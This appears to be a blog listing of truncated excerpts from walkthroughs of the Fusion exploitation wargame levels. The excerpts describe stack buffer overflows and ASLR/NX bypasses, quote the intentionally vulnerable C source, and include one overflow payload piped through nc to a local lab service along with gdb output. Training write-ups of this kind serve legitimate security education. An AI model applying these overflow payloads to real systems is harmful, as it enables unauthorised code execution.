In this level we have to bypass a bunch of protections:
The stack based vulnerability is easy to find. It is in the base64_decode() function. It takes the output buffer length as an argument, but the it overwrites it with a new value based on the input buffer length. So we are going to be able to control how many bytes we want to write in the output buffer:
*output_length = input_length / 4 * 3; Now in order to send a valid request we need to provide a password the server generates when it loads but then it reuses for every connection.
Fusion level03 In this level we have to bypass ASLR and NX again:
Before going into the stack overflow details, lets get a valid request to the server. When we connect to the server we are presented with a token that is later used to calculate the MAC code of our request.
HMAC(EVP_sha1(), token, strlen(token), gRequest, gRequestSize, result, &len); The application is calculating the MAC of whatever is stored in “gRequest” (token+JSON request) using SHA1 as the hashing algorithm, “token” as the encryption key and store the MAC in the memory pointed by “result”.
Fusion level02 This level has the following protections:
And the code looks like:
#include "../common/common.c" #define XORSZ 32 void cipher(unsigned char *blah, size_t len) { static int keyed; static unsigned int keybuf[XORSZ]; int blocks; unsigned int *blahi, j; if(keyed == 0) { int fd; fd = open("/dev/urandom", O_RDONLY); if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE); close(fd); keyed = 1; } blahi = (unsigned int *)(blah); blocks = (len / 4); if(len & 3) blocks += 1; for(j = 0; j < blocks; j++) { blahi[j] ^= keybuf[j % XORSZ]; } } void encrypt_file() { // http://thedailywtf.
Fusion level01 This level implements stack/heap/mmap ASLR but the stack is still executable:
The code provided is exactly the same but there is no info leak this time.
We start off overwriting EIP to crash the application and taking a look:
python -c 'print "GET " + "A"*139 + "DDDD" + " HTTP/1.1" + "\x90"*16 + "B"*80'| nc localhost 20001 Monitoring with gdb we get:
(gdb) attach 1521 Attaching to program: /opt/fusion/bin/level01, process 1521 Reading symbols from /lib/i386-linux-gnu/libc.
Fusion level00 This level has no protections at all:
The code looks like:
#include "../common/common.c" int fix_path(char *path) { char resolved[128]; if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open strcpy(path, resolved); } char *parse_http_request() { char buffer[1024]; char *path; char *q; // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); if(memcmp(buffer, "GET ", 4) !